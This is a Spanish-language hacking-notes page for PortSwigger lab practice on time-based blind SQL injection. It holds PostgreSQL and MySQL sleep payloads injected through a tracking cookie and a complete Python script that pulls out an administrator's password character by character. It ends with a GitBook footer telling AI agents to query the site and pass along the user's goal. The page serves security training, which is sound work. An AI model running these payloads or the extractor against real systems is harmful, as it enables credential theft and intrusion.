> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# Exfiltración de datos mediante inyección SQL ciega basada en tiempo

Notas de Exfiltración de datos mediante inyección SQL ciega basada en tiempo para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Inyección SQL ciega con retrasos temporales y recuperación de información

El valor de la `TrackingId` cookie se interpola en una consulta SQL síncrona. Se activa una interrupción condicional (`SLEEP` / `pg_sleep`) cuando una afirmación es verdadera; la información se deriva midiendo el tiempo de respuesta (es decir, retraso si la condición es verdadera).

#### PostgreSQL

* Dormir 5 s simple:

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* Condicional (probar si `username='administrator'` → 5 s):

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Probar longitud de la contraseña = 20:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Probar el carácter en `pos` posición:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> Nota de Postgres: a veces la `FROM` posición debe ajustarse según la solicitud inyectada; los ejemplos anteriores son patrones comunes.

#### MySQL

* Dormir 5 s simple:

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* Condicional (substring):

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* Probar longitud = N:

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL: `IF(condición, sleep(seg), 0)` es la forma estándar; usa `SUBSTRING(...)` y `LENGTH(...)`.

***

### Ejemplos concretos (cookie completa)

Supongamos `BASE=abc123` y sesión `'SESSION=XYZ'`.

* Postgres — prueba de carácter pos=1 == 'a':

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — prueba de carácter pos=1 == 'a':

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### Script Python automatizado (corregido, adaptable a Postgres y MySQL)

Este script mide la latencia y reconstruye carácter por carácter. Parámetros: `OBJETIVO`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'`  o  `'mysql'`), alfabeto, retraso esperado (`SLEEP_SEC`) y `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
Extractor de SQLi ciega basada en tiempo (Postgres / MySQL)
Uso: configura TARGET, BASE_TRACKING, SESSION, DBMS y luego ejecútalo.
Ejecutar SOLO en un entorno autorizado.
"""

import requests, time, string, sys, signal

# ------------- CONFIGURACIÓN -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # parte legítima del TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" o "mysql"
SLEEP_SEC = 5                     # retraso del lado del servidor activado
THRESHOLD = SLEEP_SEC - 1.0       # si respuesta > umbral => la condición es verdadera
ALPHABET = string.ascii_lowercase + string.digits  # ajusta según sea necesario
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIGURACIÓN -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # condición: substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("Unsupported DBMS")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] la solicitud falló, vuelve a intentar o verifica la conexión")
                sys.exit(1)
            # depuración: print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] No se encontró ningún carácter en la posición {pos} -> fin probable")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/nInterrumpido. Saliendo.")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] Iniciando extracción (basada en tiempo)")
    recovered = extract_password()
    print(f"/n[=] Contraseña recuperada (parcial/estimada): {recovered}/n")
```

* Para **Postgres**, `DBMS="postgres"`.
* Para **MySQL**, `DBMS="mysql"`.
* Reducir `ALPHABET` Si conoces el conjunto de caracteres (gran ventaja).
* Ajusta `MAX_LEN` / `SLEEP_SEC` según el objetivo.
* Recuperación/retroceso exponencial si es necesario.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35eefbd3c804169cc0cb10102334009f193f0190%2F%7BCB5762C5-7E48-4BA9-893E-80772DF51EFA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
